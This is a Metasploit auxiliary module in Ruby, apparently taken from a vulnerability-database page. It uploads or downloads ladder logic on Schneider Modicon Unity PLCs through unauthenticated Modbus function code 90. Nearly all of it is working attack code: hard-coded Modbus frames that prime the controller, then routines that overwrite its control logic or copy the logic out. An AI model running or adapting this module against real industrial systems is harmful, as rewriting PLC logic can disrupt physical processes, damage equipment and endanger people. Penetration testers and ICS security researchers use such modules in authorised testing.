`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Schneider Modicon Ladder Logic Upload/Download',
'Description' => %q{
The Schneider Modicon with Unity series of PLCs use Modbus function
code 90 (0x5a) to send and receive ladder logic. The protocol is
unauthenticated, and allows a rogue host to retrieve the existing
logic and to upload new logic.
Two modes are supported: "SEND" and "RECV," which behave as one might
expect -- use 'set mode ACTIONAME' to use either mode of operation.
In either mode, FILENAME must be set to a valid path to an existing
file (for SENDing) or a new file (for RECVing), and the directory must
already exist. The default, 'modicon_ladder.apx' is a blank
ladder logic file which can be used for testing.
This module is based on the original 'modiconstux.rb' Basecamp module from
DigitalBond.
},
'Author' =>
[
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb' # Metasploit fixups
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'DisclosureDate' => '2012-04-05'
))
register_options(
[
OptString.new('FILENAME',
[
true,
"The file to send or receive",
File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
]),
OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
[
"SEND",
"RECV"
]
]),
Opt::RPORT(502)
])
end
def run
unless valid_filename?
print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
return nil
end
@modbuscounter = 0x0000 # used for modbus frames
connect
init
case datastore['MODE']
when "SEND"
writefile
when "RECV"
readfile
end
end
def valid_filename?
if datastore['MODE'] == "SEND"
File.readable? datastore['FILENAME']
else
File.writable?(File.split(datastore['FILENAME'])[0].to_s)
end
end
# this is used for building a Modbus frame
# just prepends the payload with a modbus header
def makeframe(packetdata)
if packetdata.size > 255
print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
return
end
payload = ""
payload += [@modbuscounter].pack("n")
payload += "\x00\x00\x00" #dunno what these are
payload += [packetdata.size].pack("c") # size byte
payload += packetdata
end
# a wrapper just to be sure we increment the counter
def sendframe(payload)
sock.put(payload)
@modbuscounter += 1
# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
r = sock.recv(65535, 0.1)
return r
end
# This function sends some initialization requests
# required for priming the Quantum
def init
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00"
(0..0xf9).each { |x| payload += [x].pack("c") }
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
payload += "USER-714E74F21B" # Yep, really
#payload += "META-SPLOITMETA"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
end
# Write the contents of local file filename to the target's filenumber
# blank logic files will be available on the Digital Bond website
def writefile
print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
blocksize = 244 # bytes per block in file transfer
buf = File.binread(datastore['FILENAME'])
fullblocks = buf.length / blocksize
if fullblocks > 255
print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
return
end
lastblocksize = buf.length - (blocksize*fullblocks)
fileblocks = fullblocks
if lastblocksize != 0
fileblocks += 1
end
filetype = buf[0..2]
if filetype == "APX"
filenum = "\x01"
elsif filetype == "APB"
filenum = "\x10"
end
payload = "\x00\x5a\x00\x03\x01"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x30\x00"
payload += filenum
response = sendframe(makeframe(payload))
if response[8..9] == "\x01\xfe"
print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")
else
print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")
return
end
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
block = 1
block2status = 0 # block 2 must always be sent twice
while block <= fullblocks
payload = "\x00\x5a\x01\x31\x00"
payload += filenum
payload += [block].pack("c")
payload += "\x00\xf4\x00"
payload += buf[((block - 1) * 244)..((block * 244) - 1)]
res = sendframe(makeframe(payload))
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
if res[8..9] != "\x01\xfe"
print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
return
end
# redo this iteration of the loop if we're on block 2
if block2status == 0 and block == 2
print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
block2status = 1
redo
end
block += 1
end
if lastblocksize > 0
payload = "\x00\x5a\x01\x31\x00"
payload += filenum
payload += [block].pack("c")
payload += "\x00" + [lastblocksize].pack("c") + "\x00"
payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
res = sendframe(makeframe(payload))
if res[8..9] != "\x01\xfe"
print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
return
end
end
vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"
sendframe(makeframe(payload))
end
# Only reading the STL file is supported at the moment :(
def readfile
print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
file = File.open(datastore['FILENAME'], 'wb')
payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
response = sendframe(makeframe(payload))
print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
block = 1
filedata = ""
finished = false
while !finished
payload = "\x00\x5a\x01\x34\x00\x01"
payload += [block].pack("c")
payload += "\x00"
response = sendframe(makeframe(payload))
filedata += response[0xe..-1]
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"
if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
finished = true
else
block += 1
end
end
print_status("#{rhost}:#{rport} - MODBUS - Closing file")
payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
sendframe(makeframe(payload))
file.print filedata
file.close
end
def cleanup
disconnect rescue nil
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation